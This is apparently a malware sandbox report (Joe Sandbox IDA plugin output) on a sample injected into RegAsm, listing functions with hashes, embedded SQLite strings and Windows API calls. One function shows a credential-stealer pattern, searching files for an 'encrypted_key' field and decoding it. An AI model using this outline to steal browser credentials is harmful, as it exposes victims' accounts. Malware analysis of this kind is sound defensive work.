Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67437f9a944b22e03d952ef2aac1e8eb24eb1343efeba73bcc79a57101bdda72
Instruction ID: 44942cf0fdac0d2ec8aed4c726f357248b45f7d7b57e33464872a6334c429c22
Opcode Fuzzy Hash: 67437f9a944b22e03d952ef2aac1e8eb24eb1343efeba73bcc79a57101bdda72
Instruction Fuzzy Hash: 6D8145758083829BDF018F208A417ABBBA1BF41318F4C066DF8D55B31AE735F995E792

Function 1FF0F600 Relevance: 16.7, APIs: 11, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a70c7127cf5330d89c7d45b3115e672d80e76ffd15e8db3879d2d7a1d690e5da
Instruction ID: 25d4270b39ec2f8a6b64851cf90643a11d564ba372a2adf023cea46621e90e92
Opcode Fuzzy Hash: a70c7127cf5330d89c7d45b3115e672d80e76ffd15e8db3879d2d7a1d690e5da
Instruction Fuzzy Hash: A151E276A04306AFE700DE14DC80BABB7E9EF84714F40052DF94496281E765FA5A97E3

Function 1FF31940 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 345COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF31B26
misuse, xrefs: 1FF31B21
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF31B17
block, xrefs: 1FF31A90

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$block$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-4016964285
Opcode ID: da7c4af3b43415207224de3db410c131a4385c4fa72ac0aa00604493ed3760d9
Instruction ID: 6b65475988ef5317681b66622088f1f130020aed6130a66588845bc122237f70
Opcode Fuzzy Hash: da7c4af3b43415207224de3db410c131a4385c4fa72ac0aa00604493ed3760d9
Instruction Fuzzy Hash: 7EC1E0B1D043459FEB10CF24CC84A9A7BB4FF48356F054669FC499B212EB76E914CBA2

Function 1FEDFED0 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 257COMMON

Download Yara Rule

Strings

another row available, xrefs: 1FEE0076, 1FEE0081
abort due to ROLLBACK, xrefs: 1FEE0068
no more rows available, xrefs: 1FEE006F
unknown error, xrefs: 1FEE003E
%llu, xrefs: 1FEDFFF7
%llu, xrefs: 1FEDFF3C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %llu$%llu$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 0-1539118790
Opcode ID: 37c1b971b7846d384dd3c9e8f4fd611057cc557cc51698cf13285322e5164efc
Instruction ID: 8d4e1d71a0405a862817ad17f786f064a4133fabf16cf286d4d2edfc217a2bd7
Opcode Fuzzy Hash: 37c1b971b7846d384dd3c9e8f4fd611057cc557cc51698cf13285322e5164efc
Instruction Fuzzy Hash: 8291C2716043009BE704DF18DC84B9ABBE2FF85318F14452DFA999B352E73AE946CB52

Function 1FFE70B0 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 227COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFE721C
misuse, xrefs: 1FFE7217
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFE720D
orphan index, xrefs: 1FFE72C2
invalid rootpage, xrefs: 1FFE715C, 1FFE730E
API called with finalized prepared statement, xrefs: 1FFE7201

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid rootpage$misuse$orphan index
API String ID: 0-165706444
Opcode ID: 2f48d0ef1e5f582e6a93aeb8f55b0b1d81053ecbcc6f534f066174a41ca32d0b
Instruction ID: cd6fba9fdca03967e1508ada26700d66250cd96d26ac0703ab3c7df0465164d7
Opcode Fuzzy Hash: 2f48d0ef1e5f582e6a93aeb8f55b0b1d81053ecbcc6f534f066174a41ca32d0b
Instruction Fuzzy Hash: 556186B7A003806BE7218E60AC80F9B7799EF81215F060479FD659A243F7E5F144C7B2

Function 0041B4C7 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041B4FB
GetFileSize.KERNEL32(?,00000000,?,?), ref: 0041B574
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00000000,?,?), ref: 0041B590
ReadFile.KERNEL32(?,?,00000002,?,00000000,?,00000000,00000000,00000000,?,00000000,?,?), ref: 0041B5A4
SetFilePointer.KERNEL32(?,00000024,00000000,00000000,?,?,00000002,?,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0041B5AD
ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?,00000002,?,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0041B5BD
SetFilePointer.KERNEL32(?,?,00000000,00000000,?,?,00000002,?,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0041B5DB
ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?,00000002,?,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0041B5EB

Strings

, xrefs: 0041B547

Memory Dump Source

Source File: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: 189844b54efd62e75fb8fe23c02d81503e64f0a42d595b5449153acd7be9b754
Instruction ID: 1239ee6ed72f1d07067ed1ac14e4fb3862c80cd36ed1befd85b380292816ee80
Opcode Fuzzy Hash: 189844b54efd62e75fb8fe23c02d81503e64f0a42d595b5449153acd7be9b754
Instruction Fuzzy Hash: A9511771D00218AFDB28DF95DC81AEEBBB9EF44304F10842AE511E7261D7389D85CF99

Function 1FED3A50 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 172COMMON

Download Yara Rule

Strings

read-only, xrefs: 1FED3A71
bad page number, xrefs: 1FED3BE3
cannot insert, xrefs: 1FED3BF1, 1FED3C52
cannot delete, xrefs: 1FED3A82
no such schema, xrefs: 1FED3BEA
bad page value, xrefs: 1FED3BDC

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: bad page number$bad page value$cannot delete$cannot insert$no such schema$read-only
API String ID: 0-1499782803
Opcode ID: 83ee76aee6376d3991fa16c880532af41d96e093a7e47439df835775e4865e55
Instruction ID: 4d80f6a6b6d18db92ae875b25872493b78005cab768afd2ca4ebd884fd89ec10
Opcode Fuzzy Hash: 83ee76aee6376d3991fa16c880532af41d96e093a7e47439df835775e4865e55
Instruction Fuzzy Hash: 4E514676A053009FE710CF28CC85B5A77A4EF40359F15402AFC899B612EB3AFC46D7A2

Function 1FEE9100 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 161COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEE914D
misuse, xrefs: 1FEE9148
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEE913E
API called with NULL prepared statement, xrefs: 1FEE910D
API called with finalized prepared statement, xrefs: 1FEE9122

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 70c45f972a513826eda28ebada7f9270e6c777d584a4663d63b210c414a41a1b
Instruction ID: f711e65c1b4f9f06df92758d5358a8f931a6b6d75eb92db44bce4c64abde90ed
Opcode Fuzzy Hash: 70c45f972a513826eda28ebada7f9270e6c777d584a4663d63b210c414a41a1b
Instruction Fuzzy Hash: E34136B1A047425BEB018E74BC44B9F37D5ABC9318F16053EE9478B343FA65E50583A2

Function 1FFF8340 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 145COMMON

Download Yara Rule

Strings

NULL, xrefs: 1FFF8369
%s at line %d of [%.10s], xrefs: 1FFF838C
misuse, xrefs: 1FFF8387
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFF837D
API call with %s database connection pointer, xrefs: 1FFF836E
invalid, xrefs: 1FFF83B6
unopened, xrefs: 1FFF83BD

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$NULL$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unopened
API String ID: 0-538076154
Opcode ID: e92820721629e18d7d00719ccc739b6ac4707489526e55525650cb1243684aa9
Instruction ID: d3e480536c431058601e4a7a4d56b9ddd1719dd771ccadab1e6e5e3db49413c1
Opcode Fuzzy Hash: e92820721629e18d7d00719ccc739b6ac4707489526e55525650cb1243684aa9
Instruction Fuzzy Hash: B5413673A043516BE710CE289C80FAB7B99AF81618F48455DF9856A266F7B1E504C3B2

Function 1FFEB0E0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 117COMMON

Download Yara Rule

Strings

NULL, xrefs: 1FFEB0F4
%s at line %d of [%.10s], xrefs: 1FFEB117
misuse, xrefs: 1FFEB112
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFEB108
API call with %s database connection pointer, xrefs: 1FFEB0F9
invalid, xrefs: 1FFEB13E
unopened, xrefs: 1FFEB145

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$NULL$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unopened
API String ID: 0-538076154
Opcode ID: e113a4cc6c1d3285732c3b66d4f1265d050b09fce9654e16214058f915d811b0
Instruction ID: 33f8876e49fefb5f9a86155098037e484624c683556a6b69af31438527701e57
Opcode Fuzzy Hash: e113a4cc6c1d3285732c3b66d4f1265d050b09fce9654e16214058f915d811b0
Instruction Fuzzy Hash: FB319C7690434CABE7111A649C40B8F7B95AF4533DF0A0529FBA5A6203E7F9F60583B3

Function 1FEE6F30 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEE6F6F
misuse, xrefs: 1FEE6F6A
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEE6F60
bad parameter or other API misuse, xrefs: 1FEE6F7E
API call with %s database connection pointer, xrefs: 1FEE6F54
out of memory, xrefs: 1FEE6F39, 1FEE6FA0
invalid, xrefs: 1FEE6F4F

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$bad parameter or other API misuse$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$out of memory
API String ID: 0-2911740470
Opcode ID: 48a554fbb98d4f2c9e2c41525f000de91ed597621e892b8b0babe7720d431c5a
Instruction ID: ac78d32739c6faa2390c7130c6609378a157d74c710bc0feb372eb149831e72b
Opcode Fuzzy Hash: 48a554fbb98d4f2c9e2c41525f000de91ed597621e892b8b0babe7720d431c5a
Instruction Fuzzy Hash: BA2167F2A6475457E7204A64BC80FDB33636BC032DF18843DE1565A247E635F842DB81

Function 1FED06F0 Relevance: 15.2, APIs: 10, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e714770ce280c4ae5e99aa08b53b1de20c48df2afdccdc055cf778743fd13d58
Instruction ID: 1abb91bd6dd5ed9d10647a191d16cba2acfc2691f292514b9fc1856ca7dd7871
Opcode Fuzzy Hash: e714770ce280c4ae5e99aa08b53b1de20c48df2afdccdc055cf778743fd13d58
Instruction Fuzzy Hash: 5A71E6B99003058BEB14DF24C881A5A7BA5EF84358F08056DFE499F70AE336F956CBD1

Function 00415371 Relevance: 15.2, APIs: 10, Instructions: 180stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411C74: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

lstrcat.KERNEL32(?,00000000), ref: 004153E5
lstrcat.KERNEL32(?), ref: 00415403
lstrcat.KERNEL32(?,?), ref: 00415417
lstrcat.KERNEL32(?), ref: 0041542A

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411C4A: GetFileAttributesA.KERNEL32(?,?,?,0040A19C), ref: 00411C51

Part of subcall function 00408191: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004081D7

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

Part of subcall function 004120A1: GlobalAlloc.KERNEL32(00000000), ref: 004120AC

StrStrA.SHLWAPI(00000000), ref: 004154CA
GlobalFree.KERNEL32(00000000), ref: 004155C8

Part of subcall function 0040803A: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408052
Part of subcall function 0040803A: LocalAlloc.KERNEL32(00000040,?,?,?,00406716,?), ref: 00408060
Part of subcall function 0040803A: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408076
Part of subcall function 0040803A: LocalFree.KERNEL32(?,?,?,00406716,?), ref: 00408085

Part of subcall function 0040825F: LocalAlloc.KERNEL32(00000040), ref: 004082DD

lstrcat.KERNEL32(?,00000000), ref: 00415559
StrCmpCA.SHLWAPI(?,0043561E), ref: 00415576
lstrcat.KERNEL32(?,?), ref: 00415595
lstrcat.KERNEL32(?,00435A5C), ref: 004155A6

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
